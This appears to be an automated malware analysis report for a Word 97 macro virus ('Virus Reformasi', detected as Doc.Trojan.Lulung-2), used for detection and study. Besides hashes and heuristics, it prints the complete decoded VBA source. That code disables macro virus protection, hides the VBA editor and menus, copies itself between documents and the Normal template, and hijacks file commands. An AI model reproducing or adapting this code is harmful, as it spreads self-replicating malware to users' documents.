Doc.Trojan.Lulung-2 — Office (OLE) malware analysis

Static analysis result for SHA-256 dd46e4829f916262…

MALICIOUS

Office (OLE)

94.0 KB Created: 1999-10-14 14:30:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 22e87de000822c8d8b6eca6015f894ac SHA-1: cbc43d8987d29404bbee51229c1f965acdcd36d1 SHA-256: dd46e4829f91626218712ccc1d8a9e15dd1b1a0335f24de7e48271b772ef284b
248 Risk Score

Malware Insights

Doc.Trojan.Lulung-2 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic

The file is identified as malicious by ClamAV with the signature Doc.Trojan.Lulung-2. Heuristics indicate the presence of legacy WordBasic macro-virus markers and VBA macros, including an AutoOpen macro, which are commonly used to execute malicious code upon opening the document. The VBA code itself appears to be primarily form-based with limited functionality visible in the provided excerpt, but the presence of macro-virus markers and the ClamAV detection strongly suggest malicious intent.

Heuristics 5

  • ClamAV: Doc.Trojan.Lulung-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Lulung-2
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
            .VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 27968 bytes
SHA-256: 159666e9b2574d1d8bc642edae19953d068df2833a0d726d5bb416c67d086bab
Detection
ClamAV: Doc.Trojan.Lulung-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "FormAbout"
Attribute VB_Base = "0{258E89B6-824C-11D3-ACD9-900936D3B526}{258E899E-824C-11D3-ACD9-900936D3B526}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False






























Private Sub CommandButton1_Click()
    Unload Me
End Sub

Private Sub CommandButton1_KeyDown(ByVal KeyCode As MSForms.ReturnInteger, ByVal Shift As Integer)
    If Shift = 2 Then
        Unload FormAbout
        FormReformis.Show
    End If
End Sub

Private Sub CommandButton1_KeyPress(ByVal KeyAscii As MSForms.ReturnInteger)

End Sub

Private Sub Label1_Click()

End Sub

Private Sub Label1_DblClick(ByVal Cancel As MSForms.ReturnBoolean)
    
End Sub

Private Sub Label2_Click()

End Sub

Private Sub Label2_DblClick(ByVal Cancel As MSForms.ReturnBoolean)
    Unload Me
    ShowVisualBasicEditor = True
End Sub

Private Sub UserForm_Click()

End Sub

Attribute VB_Name = "FormKunci"
Attribute VB_Base = "0{258E89BA-824C-11D3-ACD9-900936D3B526}{258E89A6-824C-11D3-ACD9-900936D3B526}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False






























Private Sub CommandButton1_Click()
    Unload Me
End Sub

Attribute VB_Name = "FormReformis"
Attribute VB_Base = "0{258E89BE-824C-11D3-ACD9-900936D3B526}{258E89AE-824C-11D3-ACD9-900936D3B526}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False






























Private Sub CommandButton1_Click()
    Unload Me
End Sub

Private Sub CommandButton2_Click()
    FormKunci.Show
End Sub

Private Sub Label1_Click()

End Sub

Private Sub Label1_DblClick(ByVal Cancel As MSForms.ReturnBoolean)
    Unload FormReformis
    FormAbout.Show
End Sub

Private Sub Label2_Click()

End Sub

Private Sub Label2_DblClick(ByVal Cancel As MSForms.ReturnBoolean)
    Unload FormReformis
    FormAbout.Show
End Sub

Private Sub UserForm_Click()

End Sub

Private Sub UserForm_Initialize()
End Sub


Attribute VB_Name = "ModuleReformis"
'
'==================================================================
' Nama virus             : Virus Reformasi
' Diprogram oleh         : ~Akut Wajuxacqupi~
' Tanggal pembuatan      :  8 Agustus 1998
' Tanggal peluncuran     : 10 Agustus 1998
' Dibuat di              : Jakarta, Indonesia
' Lingkungan             : Microsoft Word Version 8.0 ( MS-Office 97)
'===================================================================
'

Public AlertAsli
Public AkanDisimpan

Sub ReformInisialisasi()
    Application.DisplayAlerts = wdAlertsMessageBox
    AlertAsli = Application.DisplayAlerts
    Application.DisplayAlerts = wdAlertsNone
    With Options
        .VirusProtection = False
        .SaveNormalPrompt = False
    End With
    WordBasic.DisableAutoMacros 0
    On Error Resume Next
    If Dir("c:\acyond.off", vbHidden) = "" And _
        Year(Date) > 1998 Then
        AutoCorrect.Entries.Add Name:="yond", Value:=" "
    Else
        AutoCorrect.Entries("yond").Delete
    End If
    CommandBars("Visual Basic").Visible = False
    CommandBars("Visual Basic").Enabled = False
    CommandBars("Visual Basic").Protection = msoBarNoChangeVisible
    CommandBars("Visual Basic").Protection = msoBarNoCustomize
    CommandBars("Tools").Controls("Macro").Delete
    CustomizationContext = NormalTemplate
    FindKey(BuildKeyCode(wdKeyF11, wdKeyAlt)).Disable
    FindKey(BuildKeyCode(wdKeyF8, wdKeyAlt)).Disable
    On Error GoTo 0
End Sub

Sub ReformTutup()
    Application.DisplayAlerts = AlertAsli
End Sub

Sub NormKeDok()
    On Error GoTo Keluar
    AkanDisimpan = False
    DokTerkena = False
    Set AD = ActiveDocument
    Set NT = NormalTemplate
    On Error GoTo Kesalahan1
    For n = 1 To AD.VBProject.vbcomponents.Count
        nm = AD.VBProject.vbcomponents(n).Name
        If nm = "ModuleReformis" Then DokTerkena = True
        If (nm <> "FormAbout") And (nm <> "FormKunci") And _
           (nm <> "FormReformis") And (nm <> "ModuleReformis") And _
           (nm <> "ThisDocument") And (nm <> "Reference to Normal") Then
           Application.OrganizerDelete Source:=AD.FullName, _
           Name:=nm, Object:=wdOrganizerObjectProjectItems
        End If
    Next n
Kesalahan1:
    If DokTerkena = False Then
        On Error GoTo Kesalahan2
        Application.OrganizerCopy Source:=NT.FullName, _
            Destination:=AD.FullName, Name:="FormAbout", _
            Object:=wdOrganizerObjectProjectItems
        Application.OrganizerCopy Source:=NT.FullName, _
            Destination:=AD.FullName, Name:="FormKunci", _
            Object:=wdOrganizerObjectProjectItems
        Application.OrganizerCopy Source:=NT.FullName, _
            Destination:=AD.FullName, Name:="FormReformis", _
            Object:=wdOrganizerObjectProjectItems
        Application.OrganizerCopy Source:=NT.FullName, _
            Destination:=AD.FullName, Name:="ModuleReformis", _
            Object:=wdOrganizerObjectProjectItems
        ActiveDocument.VBProject.Name = "Reformasi"
        AkanDisimpan = True
Kesalahan2:
    End If
Keluar:
End Sub

Sub DokKeNorm()
    On Error GoTo Keluar2
    NormTerkena = False
    Set AD = ActiveDocument
    Set NT = NormalTemplate
    On Error GoTo Kesalahan3
    For n = 1 To NT.VBProject.vbcomponents.Count
        nm = NT.VBProject.vbcomponents(n).Name
        If nm = "ModuleReformis" Then NormTerkena = True
        If (nm <> "FormAbout") And (nm <> "FormKunci") And _
           (nm <> "FormReformis") And (nm <> "ModuleReformis") And _
           (nm <> "ThisDocument") Then
           Application.OrganizerDelete Source:=NT.FullName, _
           Name:=nm, Object:=wdOrganizerObjectProjectItems
        End If
    Next n
Kesalahan3:
    If NormTerkena = False Then
        On Error GoTo Kesalahan4
        Application.OrganizerCopy Source:=AD.FullName, _
            Destination:=NT.FullName, Name:="FormAbout", _
            Object:=wdOrganizerObjectProjectItems
        Application.OrganizerCopy Source:=AD.FullName, _
            Destination:=NT.FullName, Name:="FormKunci", _
            Object:=wdOrganizerObjectProjectItems
        Application.OrganizerCopy Source:=AD.FullName, _
            Destination:=NT.FullName, Name:="FormReformis", _
            Object:=wdOrganizerObjectProjectItems
        Application.OrganizerCopy Source:=AD.FullName, _
            Destination:=NT.FullName, Name:="ModuleReformis", _
            Object:=wdOrganizerObjectProjectItems
        Templates(NT.FullName).Save
Kesalahan4:
    End If
Keluar2:
End Sub

Sub AnginReformasi()
    ReformInisialisasi
    DokKeNorm
    ReformTutup
End Sub

Sub Simpan()
    On Error GoTo Kesalahan5
    If AkanDisimpan = True Then
        ActiveDocument.SaveAs FileName:=ActiveDocument.Name, _
        fileformat:=wdFormatDocument
    End If
Kesalahan5:
End Sub

Sub AutoOpen()
    AnginReformasi
    Selection.WholeStory
    Selection.Font.Hidden = False
    Selection.HomeKey unit:=wdStory
End Sub

Sub FileClose()
    On Error GoTo AdaSalah
    ReformInisialisasi
    DokKeNorm
    NormKeDok
    ReformTutup
    Selection.WholeStory
    Selection.Font.Hidden = True
    If Left(ActiveDocument.Name, 8) <> "Document" Then _
       Application.DisplayAlerts = wdAlertsNone
    ActiveDocument.Close
AdaSalah:
End Sub

Sub FileOpen()
    AnginReformasi
    Dialogs(wdDialogFileOpen).Show
    ReformInisialisasi
    NormKeDok
    Simpan
    ReformTutup
End Sub

Sub FileSaveAs()
    ReformInisialisasi
    DokKeNorm
    NormKeDok
    ReformTutup
    Dialogs(wdDialogFileSaveAs).Show
End Sub

Sub FileSave()
    ReformInisialisasi
    DokKeNorm
    NormKeDok
    ReformTutup
    On Error GoTo Kesalahan6
    If Not ActiveDocument.Saved Then ActiveDocument.Save
Kesalahan6:
End Sub

Sub HelpAbout()
    On Error GoTo Kesalahan7
    FormAbout.Show
Kesalahan7:
End Sub

Sub FileExit()
    On Error GoTo Kesalahan8
    If (Year(Date) > 1998 And WeekDay(Date) = vbFriday And Dir("c:\reform.off", vbHidden) = "") Then FormReformis.Show
    Application.Quit
Kesalahan8:
End Sub

Sub ToolsOptions()
    Dialogs(wdDialogToolsOptions).Show
    AnginReformasi
End Sub

Sub FileNew()
    AnginReformasi
    Dialogs(wdDialogFileNew).Show
End Sub

Sub FileTemplates()
    AnginReformasi
End Sub

Sub ToolsMacro()
    AnginReformasi
End Sub

Sub ToolsCustomizeKeyboard()
    AnginReformasi
End Sub

Sub ToolsCustomize()
    AnginReformasi
End Sub

Sub ViewVBCode()
    AnginReformasi
    ShowVisualBasicEditor = False
End Sub

Sub Organizer()
End Sub

' Processing file: /tmp/qstore_85a57eeo
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 1122 bytes
' Macros/VBA/FormAbout - 3151 bytes
' Line #0:
' Line #1:
' Line #2:
' Line #3:
' Line #4:
' Line #5:
' Line #6:
' Line #7:
' Line #8:
' Line #9:
' Line #10:
' Line #11:
' Line #12:
' Line #13:
' Line #14:
' Line #15:
' Line #16:
' Line #17:
' Line #18:
' Line #19:
' Line #20:
' Line #21:
' Line #22:
' Line #23:
' Line #24:
' Line #25:
' Line #26:
' Line #27:
' Line #28:
' Line #29:
' Line #30:
' 	FuncDefn (Private Sub CommandButton1_Click())
' Line #31:
' 	Ld id_FFFF 
' 	ArgsCall Unlock 0x0001 
' Line #32:
' 	EndSub 
' Line #33:
' Line #34:
' 	FuncDefn (Private Sub CommandButton1_KeyDown(ByVal KeyCode As , ByVal Shift As Integer))
' Line #35:
' 	Ld Shift 
' 	LitDI2 0x0002 
' 	Eq 
' 	IfBlock 
' Line #36:
' 	Ld FormAbout 
' 	ArgsCall Unlock 0x0001 
' Line #37:
' 	Ld FormReformis 
' 	ArgsMemCall Show 0x0000 
' Line #38:
' 	EndIfBlock 
' Line #39:
' 	EndSub 
' Line #40:
' Line #41:
' 	FuncDefn (Private Sub CommandButton1_KeyPress(ByVal KeyAscii As ))
' Line #42:
' Line #43:
' 	EndSub 
' Line #44:
' Line #45:
' 	FuncDefn (Private Sub Label1_Click())
' Line #46:
' Line #47:
' 	EndSub 
' Line #48:
' Line #49:
' 	FuncDefn (Private Sub Label1_DblClick(ByVal Cancel As ))
' Line #50:
' Line #51:
' 	EndSub 
' Line #52:
' Line #53:
' 	FuncDefn (Private Sub Label2_Click())
' Line #54:
' Line #55:
' 	EndSub 
' Line #56:
' Line #57:
' 	FuncDefn (Private Sub Label2_DblClick(ByVal Cancel As ))
' Line #58:
' 	Ld id_FFFF 
' 	ArgsCall Unlock 0x0001 
' Line #59:
' 	LitVarSpecial (True)
' 	St ShowVisualBasicEditor 
' Line #60:
' 	EndSub 
' Line #61:
' Line #62:
' 	FuncDefn (Private Sub UserForm_Click())
' Line #63:
' Line #64:
' 	EndSub 
' Macros/VBA/FormKunci - 1659 bytes
' Line #0:
' Line #1:
' Line #2:
' Line #3:
' Line #4:
' Line #5:
' Line #6:
' Line #7:
' Line #8:
' Line #9:
' Line #10:
' Line #11:
' Line #12:
' Line #13:
' Line #14:
' Line #15:
' Line #16:
' Line #17:
' Line #18:
' Line #19:
' Line #20:
' Line #21:
' Line #22:
' Line #23:
' Line #24:
' Line #25:
' Line #26:
' Line #27:
' Line #28:
' Line #29:
' Line #30:
' 	FuncDefn (Private Sub CommandButton1_Click())
' Line #31:
' 	Ld id_FFFF 
' 	ArgsCall Unlock 0x0001 
' Line #32:
' 	EndSub 
' Macros/VBA/FormReformis - 2926 bytes
' Line #0:
' Line #1:
' Line #2:
' Line #3:
' Line #4:
' Line #5:
' Line #6:
' Line #7:
' Line #8:
' Line #9:
' Line #10:
' Line #11:
' Line #12:
' Line #13:
' Line #14:
' Line #15:
' Line #16:
' Line #17:
' Line #18:
' Line #19:
' Line #20:
' Line #21:
' Line #22:
' Line #23:
' Line #24:
' Line #25:
' Line #26:
' Line #27:
' Line #28:
' Line #29:
' Line #30:
' 	FuncDefn (Private Sub CommandButton1_Click())
' Line #31:
' 	Ld id_FFFF 
' 	ArgsCall Unlock 0x0001 
' Line #32:
' 	EndSub 
' Line #33:
' Line #34:
' 	FuncDefn (Private Sub CommandButton2_Click())
' Line #35:
' 	Ld FormKunci 
' 	ArgsMemCall Show 0x0000 
' Line #36:
' 	EndSub 
' Line #37:
' Line #38:
' 	FuncDefn (Private Sub Label1_Click())
' Line #39:
' Line #40:
' 	EndSub 
' Line #41:
' Line #42:
' 	FuncDefn (Private Sub Label1_DblClick(ByVal Cancel As ))
' Line #43:
' 	Ld FormReformis 
' 	ArgsCall Unlock 0x0001 
' Line #44:
' 	Ld FormAbout 
' 	ArgsMemCall Show 0x0000 
' Line #45:
' 	EndSub 
' Line #46:
' Line #47:
' 	FuncDefn (Private Sub Label2_Click())
' Line #48:
' Line #49:
' 	EndSub 
' Line #50:
' Line #51:
' 	FuncDefn (Private Sub Label2_DblClick(ByVal Cancel As ))
' Line #52:
' 	Ld FormReformis 
' 	ArgsCall Unlock 0x0001 
' Line #53:
' 	Ld FormAbout 
' 	ArgsMemCall Show 0x0000 
' Line #54:
' 	EndSub 
' Line #55:
' Line #56:
' 	FuncDefn (Private Sub UserForm_Click())
' Line #57:
' Line #58:
' 	EndSub 
' Line #59:
' Line #60:
' 	FuncDefn (Private Sub UserForm_Initialize())
' Line #61:
' 	EndSub 
' Line #62:
' Macros/VBA/ModuleReformis - 10723 bytes
' Line #0:
' 	QuoteRem 0x0000 0x0000 ""
' Line #1:
' 	QuoteRem 0x0000 0x0042 "=================================================================="
' Line #2:
' 	QuoteRem 0x0000 0x0029 " Nama virus             : Virus Reformasi"
' Line #3:
' 	QuoteRem 0x0000 0x002C " Diprogram oleh         : ~Akut Wajuxacqupi~"
' Line #4:
' 	QuoteRem 0x0000 0x0029 " Tanggal pembuatan      :  8 Agustus 1998"
' Line #5:
' 	QuoteRem 0x0000 0x0029 " Tanggal peluncuran     : 10 Agustus 1998"
' Line #6:
' 	QuoteRem 0x0000 0x002C " Dibuat di              : Jakarta, Indonesia"
' Line #7:
' 	QuoteRem 0x0000 0x0044 " Lingkungan             : Microsoft Word Version 8.0 ( MS-Office 97)"
' Line #8:
' 	QuoteRem 0x0000 0x0043 "==================================================================="
' Line #9:
' 	QuoteRem 0x0000 0x0000 ""
' Line #10:
' Line #11:
' 	Dim (Public) 
' 	VarDefn AlertAsli
' Line #12:
' 	Dim (Public) 
' 	VarDefn AkanDisimpan
' Line #13:
' Line #14:
' 	FuncDefn (Sub ReformInisialisasi())
' Line #15:
' 	Ld wdAlertsMessageBox 
' 	Ld Application 
' 	MemSt DisplayAlerts 
' Line #16:
' 	Ld Application 
' 	MemLd DisplayAlerts 
' 	St AlertAsli 
' Line #17:
' 	Ld wdAlertsNone 
' 	Ld Application 
' 	MemSt DisplayAlerts 
' Line #18:
' 	StartWithExpr 
' 	Ld Options 
' 	With 
' Line #19:
' 	LitVarSpecial (False)
' 	MemStWith VirusProtection 
' Line #20:
' 	LitVarSpecial (False)
' 	MemStWith SaveNormalPrompt 
' Line #21:
' 	EndWith 
' Line #22:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #23:
' 	OnError (Resume Next) 
' Line #24:
' 	LineCont 0x0004 0A 00 08 00
' 	LitStr 0x000D "c:\acyond.off"
' 	Ld vbHidden 
' 	ArgsLd Dir 0x0002 
' 	LitStr 0x0000 ""
' 	Eq 
' 	Ld Date 
' 	ArgsLd Year 0x0001 
' 	LitDI2 0x07CE 
' 	Gt 
' 	And 
' 	IfBlock 
' Line #25:
' 	LitStr 0x0004 "yond"
' 	ParamNamed New 
' 	LitStr 0x0001 " "
' 	ParamNamed Value 
' 	Ld AutoCorrect 
' 	MemLd Entries 
' 	ArgsMemCall Add 0x0002 
' Line #26:
' 	ElseBlock 
' Line #27:
' 	LitStr 0x0004 "yond"
' 	Ld AutoCorrect 
' 	ArgsMemLd Entries 0x0001 
' 	ArgsMemCall Delete 0x0000 
' Line #28:
' 	EndIfBlock 
' Line #29:
' 	LitVarSpecial (False)
' 	LitStr 0x000C "Visual Basic"
' 	ArgsLd CommandBars 0x0001 
' 	MemSt Visible 
' Line #30:
' 	LitVarSpecial (False)
' 	LitStr 0x000C "Visual Basic"
' 	ArgsLd CommandBars 0x0001 
' 	MemSt Enabled 
' Line #31:
' 	Ld msoBarNoChangeVisible 
' 	LitStr 0x000C "Visual Basic"
' 	ArgsLd CommandBars 0x0001 
' 	MemSt Protection 
' Line #32:
' 	Ld msoBarNoCustomize 
' 	LitStr 0x000C "Visual Basic"
' 	ArgsLd CommandBars 0x0001 
' 	MemSt Protection 
' Line #33:
' 	LitStr 0x0005 "Macro"
' 	LitStr 0x0005 "Tools"
' 	ArgsLd CommandBars 0x0001 
' 	ArgsMemLd Controls 0x0001 
' 	ArgsMemCall Delete 0x0000 
' Line #34:
' 	Ld NormalTemplate 
' 	St CustomizationContext 
' Line #35:
' 	Ld wdKeyF11 
' 	Ld wdKeyAlt 
' 	ArgsLd BuildKeyCode 0x0002 
' 	ArgsLd FindKey 0x0001 
' 	ArgsMemCall Disable 0x0000 
' Line #36:
' 	Ld wdKeyF8 
' 	Ld wdKeyAlt 
' 	ArgsLd BuildKeyCode 0x0002 
' 	ArgsLd FindKey 0x0001 
' 	ArgsMemCall Disable 0x0000 
' Line #37:
' 	OnError (GoTo 0) 
' Line #38:
' 	EndSub 
' Line #39:
' Line #40:
' 	FuncDefn (Sub ReformTutup())
' Line #41:
' 	Ld AlertAsli 
' 	Ld Application 
' 	MemSt DisplayAlerts 
' Line #42:
' 	EndSub 
' Line #43:
' Line #44:
' 	FuncDefn (Sub NormKeDok())
' Line #45:
' 	OnError Keluar 
' Line #46:
' 	LitVarSpecial (False)
' 	St AkanDisimpan 
' Line #47:
' 	LitVarSpecial (False)
' 	St DokTerkena 
' Line #48:
' 	SetStmt 
' 	Ld ActiveDocument 
' 	Set AD 
' Line #49:
' 	SetStmt 
' 	Ld NormalTemplate 
' 	Set NT 
' Line #50:
' 	OnError Kesalahan1 
' Line #51:
' 	StartForVariable 
' 	Ld n 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld AD 
' 	MemLd VBProject 
' 	MemLd vbcomponents 
' 	MemLd Count 
' 	For 
' Line #52:
' 	Ld n 
' 	Ld AD 
' 	MemLd VBProject 
' 	ArgsMemLd vbcomponents 0x0001 
' 	MemLd New 
' 	St nm 
' Line #53:
' 	Ld nm 
' 	LitStr 0x000E "ModuleReformis"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St DokTerkena 
' 	EndIf 
' Line #54:
' 	LineCont 0x0008 0D 00 0B 00 19 00 0B 00
' 	Ld nm 
' 	LitStr 0x0009 "FormAbout"
' 	Ne 
' 	Paren 
' 	Ld nm 
' 	LitStr 0x0009 "FormKunci"
' 	Ne 
' 	Paren 
' 	And 
' 	Ld nm 
' 	LitStr 0x000C "FormReformis"
' 	Ne 
' 	Paren 
' 	And 
' 	Ld nm 
' 	LitStr 0x000E "ModuleReformis"
' 	Ne 
' 	Paren 
' 	And 
' 	Ld nm 
' 	LitStr 0x000C "ThisDocument"
' 	Ne 
' 	Paren 
' 	And 
' 	Ld nm 
' 	LitStr 0x0013 "Reference to Normal"
' 	Ne 
' 	Paren 
' 	And 
' 	IfBlock 
' Line #55:
' 	LineCont 0x0004 09 00 0B 00
' 	Ld AD 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld nm 
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerDelete 0x0003 
' Line #56:
' 	EndIfBlock 
' Line #57:
' 	StartForVariable 
' 	Ld n 
' 	EndForVariable 
' 	NextVar 
' Line #58:
' 	Label Kesalahan1 
' Line #59:
' 	Ld DokTerkena 
' 	LitVarSpecial (False)
' 	Eq 
' 	IfBlock 
' Line #60:
' 	OnError Kesalahan2 
' Line #61:
' 	LineCont 0x0008 09 00 0C 00 13 00 0C 00
' 	Ld NT 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld AD 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x0009 "FormAbout"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #62:
' 	LineCont 0x0008 09 00 0C 00 13 00 0C 00
' 	Ld NT 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld AD 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x0009 "FormKunci"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #63:
' 	LineCont 0x0008 09 00 0C 00 13 00 0C 00
' 	Ld NT 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld AD 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x000C "FormReformis"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #64:
' 	LineCont 0x0008 09 00 0C 00 13 00 0C 00
' 	Ld NT 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld AD 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x000E "ModuleReformis"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #65:
' 	LitStr 0x0009 "Reformasi"
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemSt New 
' Line #66:
' 	LitVarSpecial (True)
' 	St AkanDisimpan 
' Line #67:
' 	Label Kesalahan2 
' Line #68:
' 	EndIfBlock 
' Line #69:
' 	Label Keluar 
' Line #70:
' 	EndSub 
' Line #71:
' Line #72:
' 	FuncDefn (Sub DokKeNorm())
' Line #73:
' 	OnError Keluar2 
' Line #74:
' 	LitVarSpecial (False)
' 	St NormTerkena 
' Line #75:
' 	SetStmt 
' 	Ld ActiveDocument 
' 	Set AD 
' Line #76:
' 	SetStmt 
' 	Ld NormalTemplate 
' 	Set NT 
' Line #77:
' 	OnError Kesalahan3 
' Line #78:
' 	StartForVariable 
' 	Ld n 
…

Open this report in the interactive analyzer, or submit your own file for analysis.